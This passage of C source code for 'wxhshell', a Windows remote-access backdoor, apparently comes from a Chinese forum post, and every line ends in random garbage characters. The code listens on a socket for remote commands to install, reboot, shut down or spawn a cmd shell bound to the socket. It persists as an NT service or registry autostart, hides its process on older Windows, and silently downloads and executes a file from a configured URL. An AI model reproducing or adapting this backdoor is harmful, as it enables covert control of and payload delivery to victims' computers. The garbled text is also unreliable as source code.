      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); cwU6}*_zn  
    break; p)] ^>-L  
  }  0d)n} fm  
  // 安装 @d9*<>@:  
  case 'i': { TU6EE  
    if(Install()) ~a)2 0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r|$g((g  
    else "d*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dQ o$^?  
    break; ` u)V 9{  
    } 1fG@r%4  
  // 卸载 uB!P>v6  
  case 'r': { O4URr  
    if(Uninstall()) t)b>f~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :P'5_YSi  
    else IiU|@f~k  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $S=OmdgR  
    break; cv&hT.1  
    } z`6KX93  
  // 显示 wxhshell 所在路径 xBd% e-r  
  case 'p': { ]sIFK  
    char svExeFile[MAX_PATH]; 1O{67Pf  
    strcpy(svExeFile,"\n\r"); RT 9|E80  
      strcat(svExeFile,ExeFile);  16{;24  
        send(wsh,svExeFile,strlen(svExeFile),0); c9K\K~bk  
    break; @XJv9aq  
    } -O6o^Dk  
  // 重启 E$baQU hKS  
  case 'b': { uu#+|ZD  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); o W [-?  
    if(Boot(REBOOT)) RR9s%>^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); oOvbel`;  
    else { \8H"lcj:  
    closesocket(wsh); |1$X`|S  
    ExitThread(0); B W1O1zIh\  
    } v7RDoO]I  
    break; TR;-xst@  
    } <]J5AdJ  
  // 关机 [:Y^0[2  
  case 'd': { {rr\hl-$  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); E_#&L({|@  
    if(Boot(SHUTDOWN)) q9Wtu7/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tp0*W _<4  
    else { r4'Pf|`u  
    closesocket(wsh); 34:=A0z  
    ExitThread(0); DtX{0p<T3  
    } !o7. L%S  
    break; Iu]P^8  
    } HkCme_y"  
  // 获取shell e&kg[jU  
  case 's': { gne c#j  
    CmdShell(wsh); @B <_h+  
    closesocket(wsh); WbF\=;$=7  
    ExitThread(0); Ro69woU  
    break; -R]S)Odml  
  } "^%Il  
  // 退出 2^:nlM{u  
  case 'x': { fz\Az-  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ?z.`rD$}(n  
    CloseIt(wsh); :2+:(^l  
    break; owB)+  
    } pQ JZE7S  
  // 离开 W@LR!EW)  
  case 'q': { hHQt4 r'd  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); #=c%:{O{4R  
    closesocket(wsh); \qPrY.-  
    WSACleanup(); rA7S1)Kq  
    exit(1); q Sah_N  
    break; f&J*(F*u  
        } IB<ihk  
  } g>{=R|uO5  
  } +-i@R%  
s4\2lBU?  
  // 提示信息 -u(#V#}OV?  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); KA7nncg;,  
} ?xega-l  
  } !cZIoz  
Uk#1PcPd  
  return; `3Y+:!q  
} q^)(p' X  
Spb'jAKj'  
// shell模块句柄 #';r 0?|  
int CmdShell(SOCKET sock) Tbw8#[6AX  
{ 6kk(FVX  
STARTUPINFO si; dcsd//E  
ZeroMemory(&si,sizeof(si)); 3FfS+q*3S  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; p_( NLJ%  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock;  lwlR"Z  
PROCESS_INFORMATION ProcessInfo; Wh7nli7f_  
char cmdline[]="cmd"; %$U+?lk}  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); {$JIR}4S  
  return 0; }0o0"J-$  
} [?A0{#5)8x  
#N:o)I  
// 自身启动模式 0n%`Xb0q  
int StartFromService(void) x :s-\>RcA  
{ 3zkq'lZ  
typedef struct 4-AmzU  
{ Qoc-ZC"<6  
  DWORD ExitStatus; TqC"lO>:Q  
  DWORD PebBaseAddress; ;3_'{  
  DWORD AffinityMask; "lm3o(Dk  
  DWORD BasePriority; -ydT%x  
  ULONG UniqueProcessId; u=5^xpI<D  
  ULONG InheritedFromUniqueProcessId; DBRTZES  
}   PROCESS_BASIC_INFORMATION; 4 0eNgm^  
J5-^@JYK  
PROCNTQSIP NtQueryInformationProcess; Mh\c+1MFs  
O-RiDYej  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ]dH; +3 }  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 6[i-Tl  
Ogb !YF#e  
  HANDLE             hProcess; >8c9-dTmf  
  PROCESS_BASIC_INFORMATION pbi; 4f+Ke*^[RA  
GauIe0qV  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); *Zln\Sx  
  if(NULL == hInst ) return 0; V*)gJg  
6Yu8ReuL  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); _F$?Z  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); :DEZ$gi  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); mOBS[M5*  
59|Tmf(dS;  
  if (!NtQueryInformationProcess) return 0; MZ.Jkf(  
UCFef,VW  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); fu/v1~X  
  if(!hProcess) return 0; [>fE{ ~Y  
iqpy5  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; gs'( px  
*l}q,9iQ-  
  CloseHandle(hProcess); cK""Xz&m  
ZCa?uzeo]  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 8AK#bna~-  
if(hProcess==NULL) return 0; gC?k6)p$N  
@jfd.? RK!  
HMODULE hMod; /Bc ;)~  
char procName[255]; K=;p^dE  
unsigned long cbNeeded; KQh'5o&  
#'8E%4  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); G'%mmA\  
<7qM;) g  
  CloseHandle(hProcess); $8b/"Qm  
k;]&`c^5  
if(strstr(procName,"services")) return 1; // 以服务启动 0 @>3fR  
-Y YQnN  
  return 0; // 注册表启动 z5?xmffB  
} U_+>4zdm  
XWk^$"  
// 主模块 Xln'~5~)  
int StartWxhshell(LPSTR lpCmdLine) o(}vR<tD\  
{ TMbj]Mso  
  SOCKET wsl; ) Limt<S  
BOOL val=TRUE; yzYPT}t  
  int port=0; w%kxY5q  
  struct sockaddr_in door; &N,c:dNe  
>-Jutr<I"~  
  if(wscfg.ws_autoins) Install(); ibh!8"[  
E0w>c'kH  
port=atoi(lpCmdLine); y5>H>NS  
S%'t )tt,  
if(port<=0) port=wscfg.ws_port; s i C/k*  
9R!.U\sq  
  WSADATA data; WVKzh  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Pr" 2d\  
,+0_kndR  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   dx|j,1e  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); kZeb^Q+,  
  door.sin_family = AF_INET; v~j21`  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); A^G%8 )\  
  door.sin_port = htons(port); z.FO6y6L  
Vg0Rc t  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { "gYn$4|R7*  
closesocket(wsl); zXB.)4T  
return 1; vU::dr  
} J 5~bs*a8  
">|fB&~A  
  if(listen(wsl,2) == INVALID_SOCKET) { ,?728pfw  
closesocket(wsl); iCx}v[;Ol  
return 1; AFyf7^^k  
} VCtj8hKDr  
  Wxhshell(wsl); kd2+k4@#  
  WSACleanup(); :9 .ik  
t!v#rn[  
return 0; ]wZG4A  
PXWBc\  
} \ 7jK6;R<  
N,L$+wm  
// 以NT服务方式启动 C/!kMMh>vV  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) yqZKn=1:  
{  RCKb5p9  
DWORD   status = 0; n"* A.  
  DWORD   specificError = 0xfffffff; A\YP}sG1  
{eL XVNR7R  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ;V@o 2a  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; G7 b>r  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; &G:#7HX@-  
  serviceStatus.dwWin32ExitCode     = 0; ;>bcI).  
  serviceStatus.dwServiceSpecificExitCode = 0; YFeF(k!!n  
  serviceStatus.dwCheckPoint       = 0; }}@x x&  
  serviceStatus.dwWaitHint       = 0; id'E_]r  
J#"@~Q+a`@  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); \G:\36l  
  if (hServiceStatusHandle==0) return; *bsS%qD]  
u.43b8!  
status = GetLastError(); `*^ f =y  
  if (status!=NO_ERROR) "6o}g.  
{ U,\3 !D0jt  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED;  Q#i[Y?$L  
    serviceStatus.dwCheckPoint       = 0; w,n&K6<  
    serviceStatus.dwWaitHint       = 0; edD19A  
    serviceStatus.dwWin32ExitCode     = status; bkTk:-L5:  
    serviceStatus.dwServiceSpecificExitCode = specificError; [7 oU =  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); qX>mOW^gT8  
    return; ')zdI]@ M  
  } X|++K;rtfE  
_XvSe]`f`  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 5=(fuY3  
  serviceStatus.dwCheckPoint       = 0; Y {a#2(xn  
  serviceStatus.dwWaitHint       = 0; ^z>3+oi  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); DAa??/,x7  
}  *Yj!f68  
9l<f?OzAO  
// 处理NT服务事件,比如:启动、停止 ~qekM>z  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 'W(!N%u  
{   
switch(fdwControl) j#6@ cO'`  
{ 2[zFKK  
case SERVICE_CONTROL_STOP: 5 FKb7  
  serviceStatus.dwWin32ExitCode = 0; _9*3Mr)2N  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 9\y\{DHd  
  serviceStatus.dwCheckPoint   = 0; |1!RvW:[!  
  serviceStatus.dwWaitHint     = 0; [TRHcz n  
  { |L wn<y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ROb2g|YXG  
  } kyR=U`OW  
  return; Mwm9{1{  
case SERVICE_CONTROL_PAUSE: cHP~J%&L  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; <a_ytSoG1  
  break; 6_}& WjU'  
case SERVICE_CONTROL_CONTINUE: 4C m+xAXG  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Vh=10Et  
  break; cc37(=o KL  
case SERVICE_CONTROL_INTERROGATE: .d/e?H:  
  break; ,%Sf,h?"^  
};  vf}.)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =r=?N\7I  
} NFsj ~6F#  
;l4 epN  
// 标准应用程序主函数 rs`"Kz`(  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) O7,)#{  
{ &-.NkW@  
HX}9;O  
// 获取操作系统版本 \?EnTu.  
OsIsNt=GetOsVer(); N #C,q&;  
GetModuleFileName(NULL,ExeFile,MAX_PATH); dK.k,7R  
AXN%b2  
  // 从命令行安装 m6+4}=Cn  
  if(strpbrk(lpCmdLine,"iI")) Install(); B\*"rSP\  
ebv"`0K$  
  // 下载执行文件 KF!?; q0J  
if(wscfg.ws_downexe) { A*b>@>2  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) wB%N}bi!  
  WinExec(wscfg.ws_filenam,SW_HIDE); d x52[W  
} 4Kl{^2  
<gfkbDP2  
if(!OsIsNt) { Lfr>y_i;F  
// 如果时win9x,隐藏进程并且设置为注册表启动 Ynxzkm S  
HideProc(); O> .gcLA  
StartWxhshell(lpCmdLine); Z2@_F7cXt  
} D0 5JQ*  
else q/qJkr^2  
  if(StartFromService()) )+L.$h  
  // 以服务方式启动 1>)q 5D  
  StartServiceCtrlDispatcher(DispatchTable); 7j,u&%om  
else 7^bde<0  
  // 普通方式启动 NLnfCY-h  
  StartWxhshell(lpCmdLine); ^t0Yh%V7  
Fx!NRY_  
return 0; .^hk^r  
}
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只看该作者 1 发表于: 2006-10-10
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